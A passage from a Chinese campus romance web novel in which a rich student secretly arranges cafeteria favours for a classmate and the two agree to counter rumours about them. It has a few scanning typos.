食堂有鱼汤不稀奇,稀奇的是在有其他汤的情况下还多了一份鱼汤,而且还是免费提供。不过意外虽意外,更多的是惊喜。只是没想到,当夜浓端着打来的两份鱼汤到了食堂后,竟然发现花园边还放着一大包猫粮。三四只流浪猫围在那包猫粮旁,不停地嗅着鼻子, 夜浓喂这些流浪猫已经快两年了,今天还是第一次碰到这种情况。虽然她不觉得自己的行为有多高尚,可是能碰到和自己一样有爱心的人,还是让她心里暖暖的。从花园的花从里将平时用的一次性饭盒拿出来后,夜浓用鱼汤扮着猫粮,一直等到几只流浪猫吃完扭头跑掉,她才站起身。再回食堂,人已经很少了。几乎不用想就知道,周一最为热门的排骨和小炒肉肯定会被洗劫一空,所以夜浓就没有特意往六号窗口去她有点挑食,若是看见盛菜的菜盘旁不是特别干净,她也会没什么食欲,所以转了一圈之后,夜浓就只要了一份清炒菜心和一份凉拌黄瓜刚一转身,里面的打饭师傅喊住她,“同学。夜浓回头看了眼,窗口就她和不远处一个女生,夜浓不确定地指了指自己:“您在喊我吗?"确定对方是在朝自己招手,夜浓这才略有茫然地走过去,她个子高,弯腰看向里面的打饭师傅:“您找我?" 师傅没说话,——掀开方盘上的盖子。 腾腾热气的四个方盘里,不仅有排骨和小炒肉,还有每周二才会有的粉蒸肉和周四才有的狮子头。 夜浓看得一时怔住。 今天这太阳是打西边出来了? 打饭师傅问:“要哪个,还是每份都要?" 夜浓反应慢半拍地“哦”了一声后,用手指了指:“要这两样就可以了。” 师傅从旁边拿了一个新勺子,一边往她递进来的饭盒里盛着排骨和小炒肉,一边劝着:“平时上学这么累,多吃点肉啊。 见他又盛了一勺,吓得夜浓忙把饭盒缩了回来:“不用了师傅,已经够了。" 师傅往那没有第二个人动过的狮子头和粉蒸肉指了指:“这两个都不要?" 夜浓尴尬又无措地摆了摆手:“不用了,多了我吃不完。" 刚一刷完饭卡,还没来及转身,师傅又喊住她:“同学,今天来了一批水果,刚刚切了不少,给你带点回去尝尝。 食堂什么时候还供应水果了? 太反常了,反常到夜浓想都不想就摇头:“不用了师傅,我不爱吃水果! 眼看她转身就跑,打饭师傅弯着腰勾着脑袋:“同学 食堂里面的墙角处,齐祯抿着嘴,笑得肩膀直抖。 沈屹骁冷眼警他: "有这么好笑? 不好笑吗? 看把他家那位吓得 齐祯“咳”了声,把笑压回去后,他一本正经地喊了声“沈总”,他手往外一指:“剩这么多,不能浪费粮食吧? 沈屹骁不理他,走过去:“刘叔,今天麻烦你了。 这个叫刘叔的人,是承包一楼食堂的老板,也就是齐祯二舅的一个远房亲亲。 “不麻烦不麻烦,小事而已。" “那剩的这些……”沈屹骁往方盘里指了指。 “没事没事,后厨这么多人呢,还怕吃不完吗?" 今天能碰巧赶上夜浓喂完猫才过来,明天就不确定了。 不过沈屹骁还是想以防万一:“明天您让后厨少做点。 他往那狮子头和粉蒸肉看了看:“这两种就不要做了,做一点清淡的。 他心思都这么明显了,刘叔怎能看不出来。 不过看刚刚那小姑娘的反应,惊吓明显大过惊喜。 “这样,下午我让后厨换点花样,学校那边同意后,最迟明天晚上就能上新菜,不然搞特殊,那小姑娘怕是会多想,你觉得呢? 沈屹骁点头:“行,您有经验,看着办就好。不过那鱼汤,您再免费供应几天,账您先记着,放假前,我过来给您结。 刘叔“嗐”了声:“你和齐祯的关系,说钱就见外了。 他话音一落,齐祯的胳膊就搭沈屹骁的肩上了:“刘叔,放心吧,有我呢,他跑不掉。 “你看你这孩子,你俩不是还没吃饭吗,我让后厨给你俩单独烧两个菜,吃完再回去。 沈屹骁忙说不用了:“我和齐祯还有点事,您也忙一上午了,我们就不打扰了。 出了食堂,齐祯开始了:“猫粮买了,鱼汤也免费供上了,你家那位的小灶也开起来了,我这能帮的可都帮了。" 听出他话里有话,沈屹骁扭头看他:“所以呢?" 还所以呢? 齐祯一副恨铁不成钢的表情:“你自己也加把劲啊!” 说的好像他什么都没做似的。 “我的事,我心里有数。” “你有数,”齐祯哼了个调儿:“你要真的有数,人怕是都被你带公寓里去了!” 沈屹骁不是一个开不起玩笑的人,但不是一个什么玩笑都让人开的人。 “你再说一次?" 齐祯瞪了他一眼后,迅速转移话题:“你就说什么时候能带出来吃个饭吧! 他自己都还没和她吃上一顿饭,这人倒先惦记上了。 “想吃饭自己吃去。 齐祯: 说的好像他真缺那顿饭似的。 他就是迫切地想看看,那位会怎么骑他头上撒野,一想到平时耀武扬威的人会被一个女人拿捏住,且被拿捏得死死的,那种爽感 光是想想,就能让他爽出天际。 但是一想到他连人家的小手都没牵到,气得齐祯反手拍他胳膊上,“十天,十天我要是看不见你俩手牵手,你别怪我出去辟谣! 沈屹骁正色了:“你试试?" 说到那位,他就急。 齐祯抬手勾了勾眉:“那不然,我去跟她说那鱼汤是你花的钱?“ 虽然食堂开始每天都会供应免费的鱼汤,但夜浓却从来都不会打第二次。不是不想贪心,而是她不想在这个''风口浪尖’上再引来其他的流言蜚语因为她知道,自己花钱买吃的给流浪猫,别人可能不会说什么,若是用免费的,那可就说不好了不过现在还有第二个人跟她一样关注流浪猫的温饱,这倒是解决了她眼下不小的难题。 就是不知道另一道难题要怎么解决。 这几天,宿舍里异常地安静,安静到可以用“诡异’来形容。 以前晚上需要戴耳机才能隔绝室友们的八卦声,现在可好,只要她一回去,宿舍里就静悄悄的。 晚上在食堂吃完饭,夜浓早早就回去了 还没走到门口,就听到了李晓琪的声音 “你说那沈屹骁到底怎么回事,之前不是不住校的吗,谈个恋爱怎么还住回来了,这么有钱,干嘛不把她带出去住,整天在咱们面前晃悠,看着就烦! “以前我说她假清高,你俩还不信,现在知道咱们学校那么多的男生为什么追不到她了吧?人家这叫蓄势待发,要么不出手,一出手绝对要搞个大的! "你俩倒是吱个声啊!" “嘘什么嘘,她又不在,我还不能说话了?" 夜浓就是在这个时候推门进去的:“你可以说啊,谁不让你说了吗? 李晓琪没想到她今天回来这么早,在她那双强势看过来的眼神里,李晓琪顿时想到那天在食堂被沈屹骁当众弄的难堪 提到嗓子眼想怼她的话就这么被她活活咽了下去。 夜浓也不是一个咄咄逼人的人,可这段时间以来,她的冷处理不仅没能平息学校里的流言蜚语,甚至还有一种愈演愈烈的趋势。 虽然她不知道谣言的源头究竟在哪,但今天既然从李晓琪嘴里听到, 夜浓走到她桌前:“这么喜欢嚼舌根,那就去沈屹骁面前嚼,或者当着我的面,别等我不在的时候吧啦吧啦地说个不停。 看看,谈了个有钱的男朋友,底气都和以前不一样了。 李晓琪坐在桌前,轻蔑的眼神从余光里往她那里瞟,“哪敢啊~ 她拖腔带调的声音,让夜浓哼了声笑:“哪敢?副会长的男朋友你都敢去勾搭,你有什么不敢的?" 李晓琪脸一抬:“你少胡说!" “我有没有胡说,你心里清楚,真以为我整天戴着耳机听不到你半夜给人家打电话?"整个人又怒又窘下,李晓琪“蹭”地站起身:“有脸说我,你怎么没有脸说自己呢,嘴上说着回家,结果却是跟男的出去过夜,你觉得你又比我好哪里去?"“过夜?沈屹骁吗?”夜浓眼里啥着笑,“可是你们不是都说我和他在一起了吗,既然在一起了,出去过夜不行吗?”她每一个字都说得不咸不淡,嘴角还笑出凉凉的讽刺,不知是讽刺那些谣言,还是讽刺李晓琪口中的“你又比我好哪里去”这句话。 两人之间有一种无声的硝烟,像是只差一星火苗就能引爆 之前李晓琪在食堂被沈屹骑逼着去道歉的事,到现在还让另外两个室友法传的,眼看两人像是要打起来,其中一个女生不得不小心蛋蛋地从椅子上起身,只是还没想好要怎么劝,就见李晓琪抓起桌上的手机然气冲冲地走了。 “砰”的一道关门声里,夜浓轻“嗤”一声。 今天周五,她压根也没想在疗室里待着,本来还想着洗个澡就出门,眼下,她澡也不想洗了。 又一道关门声里,另外两个室友面面相觑。 “你说她会不会去跟沈屹骁告状呀?" “要是我,我肯定会。 的确是被她俩说中了,夜浓真的一口气跑到了男生宿舍楼下,可是沈屹骁具体在哪栋楼她却不知道, 七点不到的天,天色还没有完全暗下来,在一双又一双看过来的视线里,夜浓没向任何一个人打听,就这么站在一杆路灯下等。 她现在是沈屹骁女朋友这事,全校几乎没人不知道,可却没有一个人亲眼看见过两人并肩走在一起的画面,偏偏沈屹骁在食堂里对她明目张胆的祖护,又历历在目。 以至于很多人都在猜,这两人是不是在搞地下恋。 甚至很多人都在脑补两人人前不熟人后猛亲的画面, 眼看时间越来越晚,夜浓还是没能把人等来。 她又一次点开手机,都快九点了。 难不成这人在宿舍? 还是说今天周五,他回家了呢? 正犹豫着自己要不要回去的时候,两个结伴走过来的男生挑起嗓门“沈屹骁到学校大门口了,一会儿就到。"沈屹骁下午没在学校,被他爸爸叫去了公司,之所以在这个点赶回来,完全是因为齐祯一个电话“你赶紧回学校去,我一个朋友跟说我说,你家那位在男生宿舍楼下等你呢!"非教职工的车辆不让进学校,沈屹骁一口气从大门口跑了回来。四十分钟的车程,十五分钟的长跑。胸腔的剧烈起伏,不仅有心脏的过度负荷,还有和她第一次面对面的期待。 向对情绪操控自如的他,第一次被情绪反向拿捏住。 沈屹骁在树下自我调整了好一会儿才往通向宿舍的那条不足两米的小道走, 透白的路灯下,她低着头,明明在等他,却没有四处张望。 就这么绕着一小方地,来来回回地转着。 就不怕和他失之交臂,还是说笃定他一定会走到她面前? 沈屹骁偏开脸笑了声。行吧,那就打个赌,到底是她夜浓看见他,先朝他走来还是他沈屹骁生怕她看不见自己而主动走到她面前。已经回到匀速的心跳,随着距离的越来越近,随着她低头看手机的动作,而越来越不安,越来越快 明明还有五米、四米、三米 可是双脚却控制不住地往她面前迈近 就在沈屹骁心里认输而垂眸失笑一声的时候 ,一团黑影突然挡在了自己面前。 沈屹骁整个人怔了下,人也猛然站在了原地。 “能打扰你一点时间吗?等他的时间里,夜浓在心里想了好几种开场白。男生嘛,应该都不喜欢绕圈子,所以她还是觉得直白简单一点好“这段时间学校一直在传的那些谣言,我想,应该也影响到你,我今天过来,就是想和你商量一下,是你出面还是我出面后面的话被他一声轻笑声打断。夜浓微微一怔:“你笑什么?" 他在笑,如果她慢一秒走过来,她就赢了。 但是没办法,老天都在帮他。 所以就着这份上天送他的大礼,他忍不住得寸进尺了一番。 93、大学 “这位同学,我认识你吗?"夜浓只觉得啼笑皆非:“和你传了半个月的绯闻,你说你不认识我?"绯闻?她竟然用「绯闻」代替「谣言」。但是又不可否认,好像是比「谣言」要好听许多。琢磨回味间,沈屹骁的目光始终落在她眼里,眼看她潋滟的一双眸露出了清冷的光,沈屹骁将嘴角的笑痕压了几分下去,“真正的认识应该从知道彼此的名字开始。 他是说,他还不知道她的名字?可她刚刚不是都说了自己和他传了半个月的绯闻了吗?还是说,他意在指她没有自我介绍?夜浓只觉得好气又好笑,“夜浓,这下认识了吗?" 原来她在临近生气边缘是这样的表情。唇角轻勾出一缕似是而非的弧度后,右侧眉梢再轻轻一挑。“夜浓.…夜浓时见月。"后面五个字从他嘴里念出来的时候,夜浓眼睫轻轻颤了一下。这么多年以来,夜浓一直都对自己的名字无感。但是被他略有低沉的嗓音说出来,入耳,让夜浓第一次觉得自己的名字有些好听。默了几秒, 沈屹骁眉梢微微一挑, 像是后知后觉的恍然大悟。“原来是你,” 他伸出手:“沈屹骁。没想到他会以这种方式作为“认识’的开场,这让夜浓有些猝不及防。她低头看向伸过来的那只手,四指并拢,手指细白纤薄,但却有一种矛盾的力量感。沿着往上,能看见手腕那一截凸起的腕骨上,健康而有力的青色血管。夜浓抬头看了他一眼后,又低头看向他的手,短暂迟疑后,她伸于握住。六月初的晚上,风都是燥的,可他的手掌心却很凉滑,感觉到他指掌微微用力的那一瞬,夜浓眉心一跳。明明被握住的是她的手,可却感觉心脏都跟着紧了一下。那种感觉很奇怪,也很陌生。 是夜浓从未有过的。 可是这种礼貌不应该一触即离,点到为止吗?可是他却没有松开她的手的意思, 夜浓浅浅皱了下眉,再抬头,又一次撞进他漆黑却很亮的瞳孔, 说不清是感觉到他的异常,还是自己有些心慌意乱,夜浓主动抽回了自己的手 “我刚刚." 她刚刚说到哪里来着? “你说,你来找我商量 “哦,对,商量,就、学校里传的那些,你看,是我出面澄清,还是.你? 她吞吐不连贯的话,飘转不定的眸光,说完就轻轻住的唇,全都是她慌乱的证明,也无一不被沈屹骁捕捉在眼里。 可是她在慌什么? 是因为刚刚握住了她的手,还是他凝眸追在她脸上的视线让她觉得无措、难为情,又或者 她在害羞? 沈屹骁的视线依旧停留在她脸上,从她的唇追到她的眼,几番追逐后,他漆黑却又泛着水光的一双眼,重新落回到她漂亮的眼睛里, “你想我怎么澄清?" 一句话,把夜浓问住了。 沈屹骁看着她茫然的眼睛:“或者说,换做是你,你要怎么澄清? 是啊,她要怎么澄清。难道把全校人都召集起来,说他们之间毫无瓜葛吗?可是不澄清的话,那些谣言到底要满世界地飞到什么时候?以前学校也不是没有人说过她是非,可总是要不了几天就消停了。这次可好,都半个多月过去,不仅没有往下平息,还愈演愈烈。既然是来找他商量,夜浓耐着性子问:“那照你的意思呢?”照他的意思.沈屹骁拾起手腕看了眼时间:“吃饭了吗?" 这人怎么答非所问呢? 夜浓点了点头:“吃过了。 “我还没吃。" 夜浓:". 所以这是间接给她下逐客令,让她走的意思? 可真是委婉。 夜浓不给自己找难堪,“不好意思,你就当我今天没来过。” 沈屹骁万万没想到她会是这样的反应,眼看她转身就走,沈屹晓来不及想,伸手抓住了她手腕:“你想哪里去了?" 刚好迎面走来几个男生,夜浓慌忙把手挣了回来。 眼看她往旁边站远了两步,沈屹骁心里又气又想笑。”这么不想被人误会,那你还在这里等了我这么久? 夜浓抬头看他:“那你澄清不就好了。" 埋怨人的调子竟然软乎乎的。 沈屹骁弯了几分腰,追着她那双看向别处眼睛:“那我刚刚问你要怎么澄清,你又不说?" 她要是有办法,还过来找他干嘛。 再说了,他也是当事人,还是个男的,她一个女的去澄清,算怎么回事。 一阵腹诽后,夜浓警他一眼:“难道那些难听的话,对你一点影响都没有吗?" 这要是说没有,估计能把她小脾气给炸出来。 沈屹骁故作思忖后,点了点头:“有。 “既然有,那我们就想个办法让那些谣言止住啊! 她说的是「我们」。 沈屹骁嘴角止不住地往上扬了扬:“在这里想吗? 不等夜浓细想他意思,就见他下巴一抬 “正好我没吃饭,一起? 夜浓下意识就往西看了眼:“食堂吗?" 虽说会堂是一个最佳制造新 ''绯闻’的地方,但这么难得的机会,沈屹更想和她独处 “去外面?" 他是征询的语气,但看见她眼里有犹豫,甚至一点点接近于排斥的时候,沈屹晓说:“你如果无所谓被别人看见的话,食堂也可以。 他这么一说,夜浓顿时选了前者:“那还是去外面吧。 没想到激将对她有用,沈屹骁眼底藏笑:“那走吧。 九点多的晚上,又恰逢周五,学校里随处都是人。 夜浓没有和他并排走着,就这么落后他两三步。 灯光很成人之美,将沈屹骁的影子斜在他的右前方。 只要他往右看上一眼,就能看见落后他不远的,她的影子。 如果他走慢一点呢,他们的影子会重看吗? 见地上那团脑袋垂着,沈屹骁没有将步子放慢,他直接站在了原地 刚好三秒的倒数,刚好他们的影子重合了二分之一。 只要一步。 不,只要半步。 她的额头就能撞到他的后背了。 偏偏那只可可爱爱的脑袋抬了起来。 沈屹骁无声失笑的同时,站在原地的脚也迈了出去。 眼看离学校大门越来越近,夜浓快了几步追了上来:“你刚刚说的外面是哪? 还以为她没有问,是随便他去哪都可以呢。 沈屹骁说:“凯旋国际,我平时吃饭的地方。 夜浓倒吸一口气:“那也太远了。" “那不然你推荐一个地方?" 学校门口也没有吃的,最近就是白梨巷。但是像他这种养尊处优的人,怎么肯去那种地方。夜浓对如何澄清一点头绪都没有,看他的样子,估计也不比她好哪里去。既然这样,夜浓提议:“不然今晚我们都各自想想,想好了,我们再碰一下。所以这是要放他鸽子的意思?沈屹骁气的都想笑。偏偏面前这人,压根就不管他的情绪,细白的小手一抬“那我先回去了,拜拜。联系方式都不留一个就拜拜。气得沈屹骁都没喊她名字。 “嗳" 夜浓回头看他。 “你知道商学院都怎么传我和你的吗?" 夜浓当然知道,但是从他的话里,她听出了其他的意味。 难道还有什么是她没有听过的? 沈屹骁一步步走过来,“说咱俩是人前不熟,人后猛亲。 竟然传的这么离谱? 夜浓眼睛瞬间睁大了一圈。 “所以我们越是装不熟,越是给那些人提供想象的空间。 所以呢,他是想表达什么? 夜浓没有问,就这么看着他, 然后听见他说”如果我们反其道而行呢?" “反其道而行?”夜浓听得一头雾水:“什么意思?" “你先告诉我,相比偷偷摸摸地和我搞地下恋 夜浓没听完就打断他:“我什么时候和你偷偷摸摸的搞地下恋了?" 相比她的声疾厉色,沈屹骁更显不疾不徐。 他双手抄兜,弯下腰,把自己眉眼里的笑摊在她面前。 “先听我说完好不好?" 夜浓突然觉得面前的这个人和外界传言的一点都不像。 什么盛气凌人、趾高气昂、目中无人。 从她拦住他开始,他眉眼和嘴角的笑几乎就没怎么压下去过,不止,还有他的声音,慢吞吞的调子里,也夹杂着丝缕的笑痕。 所以说,谣传真的不能信。 被他一双柔软的眼神看着,夜浓声线也不由得软了下来,“你说吧。 “就我刚刚说的第一种谣言,和另外一个,说我在追你的相比,哪一个更让你困扰?" 那还用说吗?夜浓心头难掩烦躁:“当然是第一个。”沈屹骁眼睛里藏着循循善诱的光:“所以懂我说的反其道而行是什么意思了吗?"心里陡然冒出的一个猜测,让夜浓深拧的眉心突然一展:“你该不会要我反过来追你?"听得沈屹骁都想抬于在她额头上弹那么一下。他失笑道:“想什么呢?" 她说错了吗? 夜浓茫然地看着他:“那你是什么意思?" 太直白怕是会让她生出戒备。 沈屹骁掂量着用词,“看见我别躲,也别像刚刚那样,生怕别人误会似的,离我太远。 “就这样?" 当然不止这样。 但他又怎么能把他心里的那些念头全部说给她听? “介不介意和我做个朋友?" 和他做朋友? 夜浓确定自己没有听错,但她不确定他的真实意图. “什么样的朋友?”她问。 总不能说男女朋友吧,虽然他的确是这么想的。 沈屹骁于握一半的主动权,然后把另一半的选择权给她。 “过程我来做,结果你来定。 "怎么样?" 夜浓听得含含糊糊:“你能不能说明白点?" 说明白点估计连下一面都见不着了。 “别想的那么复杂,”沈屹骁看着她的同时,信誓旦旦:”总之我跟你保证,只要你配合我,那些谣言一定会很快止住。 94、大学 虽说夜浓对他的保证抱有怀疑态度,但眼下除了相信他,她实在是没有更好的办法。 “那子吧。 虽说沈屹骁面上镇定,可心脏也悬着。听见她答应,他心里暗松一口气。“送你回去。夜浓摇头说不用:“你去吃饭吧,我自己回去就行了。"沈屹骁回头看了眼:“刚刚可是有很多双眼睛看见你跟我出来了,我若是一个人走了,你觉得那些人会怎么想?还能怎么想?夜浓说:“你回家,我回寝室,不正好辟谣吗?沈屹骁却说:“你怎么就知道他们会觉得你是回寝室,也许在他们看来,你是故意回寝室,过一会再偷偷出来呢?"夜浓愣了一下:“我再偷偷出来,我出来干嘛?"沈屹骁被她轻而易举就能被他带偏的小脑袋惹笑。“那些人都认定咱俩是偷偷摸摸的关系了,你说你再出来干嘛?" 夜浓:". 所以这就是男生的思维吗? 竟然和她完全反着来。 见两个女生都走到门口了还在回头看他们,夜浓无奈又没辙:“那走吧。" 回去的路上,夜浓没再像之前那样走在他身后。 从大门口到女生宿舍,将近二十分钟的步行时间里,夜浓不知捕捉到了多少双看过来的视线。 这么和他走在一起,真能破那些谣言? 难道不是会让别人更加议论吗? 夜浓扭头看他:“你确定这种办法可行? 她眼里的质疑太过明显,沈屹骁索性把问题丢给她:“那不然你想一个更好的。 夜浓刚刚真就想到了一个:“你应该谈一个女朋友。 沈屹骁都想回她一句:那你怎么不谈一个男朋友。 心里闪过这句话的时候,他突然想起上次在白梨巷看见的那个男人。 虽说齐祯说是她的亲戚,但沈屹骁一直将信将疑,今天倒是巧了,正好借这个机会亲自问她。 “你不是有男朋友吗?" 他语气随意, 夜浓回得也漫不经心, “男朋友算什么。” 沈屹骁听得蹙眉:“什么意思?" 她笑里有着明晃晃的白嘲,“还有说我被包.养的呢。 如此不堪的两个字,光是听在耳里就让他胸腔暗涌四起,可是却被她那么轻描淡写地说出来,甚至还带着笑, 沈屹骁只觉得心脏疼了一下。 也正是因为心疼,让他眼里的光浮浮沉沉了许久。 直到把她送到宿舍楼下 “洗个澡,好好睡一觉,其他的交给我。 不知是不是自己想多了,夜浓从他的话里听出几分若有似无的关心。 可是他们才认识多久? 夜浓压下心头的敏感,朝他回了个礼貌的笑:“今天这事麻烦你了。 她礼貌客套,以为他也会客气一句,结果却见他下巴一抬。 “去吧。 夜浓:“. 这人是不是自来熟的有点过分了? 上了台阶,夜浓忍不住回头看了眼。 却见他还站在原地,甚至在接到她眼神后,还朝她走了过来。 ''吓’得夜浓慌忙回过头去。 沈屹骁看着她瞬间转回身的背影,还有那落荒而逃的小碎步,不禁笑了声,可是当夜浓的影子消失在他眼底,他眉眼里的笑痕几乎瞬间平了下去。转过身掏出手机时,他表情更是一秒冷到彻底。 “在我之前,学校里都还传过她哪些谣言?" 齐祯可谓是两耳听遍窗外事:“那可太多了。” “包.养?" 随着这两个字从他嘴里说出来,他眼角也眯出锐利。 尽管他声音听着古井无波的,但齐祯太了解他的脾气了,越是生气,他越是能做到不情绪. “那都是以前了——” 沈屹骁打断他的左右而言他:“把源头查出来给我。 查到了,然后呢? 齐祯问:“你要干嘛?" “那你别管。 齐祯知道他不是冲动的性子,但会不会为了女人昏头,他还真说不准。 可这事他要是不查,沈屹骁自己也会查。 “行,我回头问问。”允诺完,齐问起正事:“她晚上找你干嘛去了?" 沈屹骁不是一个事事都喜欢分享的人。 “你谈过几个女朋友,我有问过吗?" 齐祯可不像他这么''小气’, “那你问不就行了。 “没兴趣。 能让他有兴趣的事不少,有兴趣的人却不多, 异性里,这么多年来,夜浓是唯-一个。 不理电话那头的满腔好奇,沈屹骁挂断电话。 手机从耳边拿下来后,他点开通讯录。 看着被他存进手机已经两个星期,却从未拨出去过的两个字,他垂眸笑了声,再回头,他看向女生宿舍所在的方向。 明后两天是周末,他要回公司,那她呢? 周未对于夜浓来说,只有三件事:睡觉、看书、发呆。 当然,如果天气好的话,她也会去公园。 公园是唯——个,让她觉得人多热闹,但又不觉吵闹的地方。 是的,她不喜欢吵,更不喜欢听八卦的声音,偏偏寝室的三个室友,总爱聊八卦。 本来她还想着,回来洗个澡就出门,结果推开寝室的门,看见李晓琪已经回来,她突然就改变了主意 凭什么她要花钱出去买清净。 她就在寝室待着。 她倒要看看,经过今晚这一吵,她们还会不会再像以前一样,说话没顾没忌的。 结果这一晚,整个寝室里出奇得安静。 安静到让人不适。 翌日周六,夜浓以为她们会和往常一样结伴出门,结果都到了午饭的点,三个室友竟然连床都没起 当然,夜浓也没好到哪里去。 昨晚她破天荒地失眠,眼看都要睡着了,不知是哪个室友下床撞出了声响,她整个人一惊,姗姗来迟的困意就这么被吓跑了。 夜深人静就容易胡思乱想,想着想着就想到了某人的脸,还有那句:「过程我来做,结果你来定。 当时没想明白这句话的意思,经过后半夜的琢磨和回味,夜浓越来越觉得这短短的十个字,有很深的深意, 过程他来做。 他是要做什么? 结果她来定。 难道还有好几种结果吗? 虽然依旧没想出所以然来,但她就是觉得这句话不对劲。 至于到底哪里不对劲,她又说不上来。 更让人意外的是,周六晚上,李晓琪刚一从外面回来就开始收拾行李了,另外两个室友问她要去哪,她却怎么都不肯说。中途,夜浓也好奇地看过去两眼。除了床上的被子折在那儿没动,桌子上的东西都被收拾得干干净净。这是要换寝室?是与昨晚和她吵的那架有关?本来夜浓心里还不确定,直到李晓琪推着行李走到门口又折回来。”昨晚对不起。”说完,她都不给夜浓反应的时间就走了在两个室友的面面相觑里,夜浓整个人愣了好一会儿。 虽然她没把李晓琪搬离寝室这件事和沈屹骁联想到一起,但却不妨碍别人这么想但是耳机里循环着的英语单词,阻隔了外界的窃窃私语。夜浓依日像往常一样上课下课,回疗室拿饭盒再去食堂打饭。每个窗口都像往常一样排着长龙,夜浓也像往常一样,有秩序地排队。缓慢往前挪动的间隙里,后肩突然被拍了一下,夜浓肩膀微微一提,扭头看见身后的人,她瞳孔微微一缩。 “这么巧。" 夜浓警了眼他空空的两手。 巧吗? 她怎么觉得他是故意站到她身后的。 视线从他上翘的嘴角收回后,夜浓什么也没说就转回了身。 不过她冷淡的反应都在沈屹骁的意料之中。 又往前走了几步之后,沈屹骁把脸低到她肩膀上方,“周五我怎么说来着? 他倒不是刻意制造暖昧,只是想低声给她提个醒。 可这样的说话方式,在周围人的眼里,完全就是情侣之间的亲昵耳语。 夜浓对异性一直都有防备心。 再加上他说话带出的鼻息,若有似无地轻斥在耳廓,夜浓几乎都没等他话音落地就往旁边躲了一步 刚好一个男生双手端着餐盘从她身后经过。 几乎是瞬间,沈屹骁就伸出胳膊勾住了她的腰,只轻轻一个收臂的动作,就把人搂到了身前。 如果不是被她拿在手里的饭盒挡着,夜浓势必会撞到他怀里。 第一次面对面地离她这么近,也是第一次与她身体有了掌心的接触 说实话,沈屹骁一点都不想松手,可他却一个迟疑也没有。 安分的指掌,连着他圈成圆的手臂,在夜浓还没有来及做出反应的间隙里,迅速被他收了回来。 视线从她微微睁大一圈的眼睛上收回,沈屹骁目光淡淡地朝前抬了个下巴。 夜浓微微一愣,反应过来他的意思,她回头的功夫,人也迅速转过身往前走了几步 心跳的加速里,夜浓不用看就知道周围有多少双眼睛盯在她,又或者他的身上, 可她却半点怪他的话都说不出来。毕竟刚刚若不是他,她就要打翻别人的餐盘了。可若不是他靠她那么近说话,她又怎么一 "自然点。" 耳后传来的声音,让夜浓乱飞的思绪凝了回来。 她回头,没好气地剜了眼身后的人:“别和我说话! 明明是凶巴巴的语气,可沈屹骁却听得眉眼露笑。 “不说话,别人肯定会说,咱俩在生气。” 这人是长了顺风耳吗,别人想什么他都知道? 视线不经意地一瞥,好巧不巧地看见右手边的队伍里,两个女生在咬耳朵,一边''咬’着,一边往他们这边看。 好像真的在说 看见了吗,生气了,沈屹骁在哄她呢! 95、大学 视线再一偏转,又见两个男生也往这边看,一边看,一边在那笑得肩膀直抖。真不知有什么好笑的!夜浓一点也没收着自己的脾气,冰冷的眼神警告地盯着那两个男生看, 偏偏她眼睛生得漂亮,深咖色的一双瞳,水润润的,凝眸看人时,半含秋水波光潋滟 两个男生被她看的,嘴角的笑虽然止住了,但视线却没舍得收回来。 被那样直勾勾的眼神缠着,让人心烦又气躁。 都是身后这个人干的好事,那么多的窗口,干嘛非得站在她身后,这不是变着法地让别人说三道四吗? 夜浓胳膊肘往后一伸,正好抵在了沈屹骁的怀里。 “你看!" 气恼里带着几分委屈的调子,全是埋怨。 沈屹骁刚刚在低头看短信,胸口被她突然这么一撞,条件反射地抬头看她。 没有接到她视线, 却见她又凶又恼的一双眼盯着斜后方。 沈屹骁扭头看过去。 他瞳孔是深邃的黑色,自带一股威慑力,不过一个扫眼,就让周围多双看过来的眼睛都——别开了视线. 效率高的,让夜浓都愣住了。 不可置信的一双眼落到他脸上,只见他微薄的唇,朝她扬出一个浅浅的弧度。 与其说是笑,倒更像一个礼貌的回应。 视线从他的脸再波及到周围一圈,刚刚那么多意味不明的眼神,都没有再看过来。夜浓想到那天晚上他说的那句话:总之我向你保证,只要你配合我,那些谣言一定会很快止住。可是她刚刚哪有配合他什么,她甚至还作气地用手肘捣了他一下。甚至都没有收力。夜浓往他胸口看了眼,正犹豫着要不要说一声抱歉的时候,见他朝自己身后抬了个下巴夜浓回头看了眼,忙几个小步跟上去。眼看排在身前的人越来越少,夜浓想到他空着的两手,忍不住问道:“你来打饭,怎么都不带饭盒?虽然是跟他说话,但夜浓没有回头看他,只是把肩膀往后倾了几分。为了配合她的''不想被人误会’,沈屹骁也压低声音,“我不吃。不吃?夜浓被他的回答意外到回头:“那你来食堂干嘛?"“来找你。" 他不假思索的回答,让夜浓微微一愣,“来、来找我?" 她眼里有茫然,也有疑惑,交杂在一起,让她平时很是清冷的骨相带出几分可爱的娇憨. 沈屹骁轻笑一声:“不然我为什么站在你身后? “同学?" E户百为如HAA フ十 zI 心二用里,她思绪转的有点慢,手指的动作也有点乱, 转过身来才注意到自己竟然要了最不喜欢吃的香菇。 沈屹骁已经从队伍里出来并走到了她身侧。 见她又是皱眉又是咬唇的,沈屹骁往她手里的饭盒里看了眼:“怎么了?" “有香菇。” 三个字,像是回答他,又像是无奈的自言自语。 沈屹骁被她生动的表情惹出一声笑:“不爱吃,等下挑出来不就好了。” 夜浓盖上饭盒的盖子,抬头看他:“你来找我,是有什么事吗?" 沈屹骁点头:“有件事想请你帮忙。 他竟然会有事需要找她帮忙? 夜浓眼里的茫然更深了:“什么事?" 沈屹骁往周围扫了眼:“找个地方坐。” 都不给她说不的机会,沈屹骁就径直朝餐桌区域走。 这个点,正是食堂人最多的时候。 有空位,没有空桌子。 刚刚被沈屹骁眼神警告过的那些人,虽然不再明日张胆地追着两人看,但却不妨碍余光偷瞄 眼看沈屹骁找位的眼神,一个两个都不约而同地端起面前的餐盘起身。 不过几个眨眼的功夫,就腾出了三张桌子。 沈屹骁也不客气,在其中一张餐桌前停住的时候,往不远处自发拼桌给他腾位置的几人还了一记“谢了”的眼神。 但是夜浓却没有走过去,就这么站在原地,眼睁睁地看着沈屹骁和他们的一来一回的眼神交流。 说真的,她都怀疑他们是不是串通好的。 更离谱的是,就在她想转身离开这个是非之地的时候”赶紧过去呀!" 夜浓愣了一下,还没看清对方的长相,那女生就一阵风似的从她身前“飘’走了。 夜浓:“ 所以是在跟她说话? 夜浓视线追着那个女孩的背影,正一脸茫然时,面前突然罩过来一团阴影。 “怎么不过去坐?" 轻轻浅浅的调,打断了她的思绪。 夜浓抬头看他时,刚好撞进他乌黑的,深不见底的,漾着淡淡笑痕的眼底 夜浓眼睫颤了一下。 心里乱七八糟的,她没有时间理,第一反应就是:“有什么事你就在这说吧。 沈屹骁当然知道她不想在大庭广众之下和他有过多的接触, 但没办法。 他想。 他恨不得让所有的人都看见她和他同坐一桌, 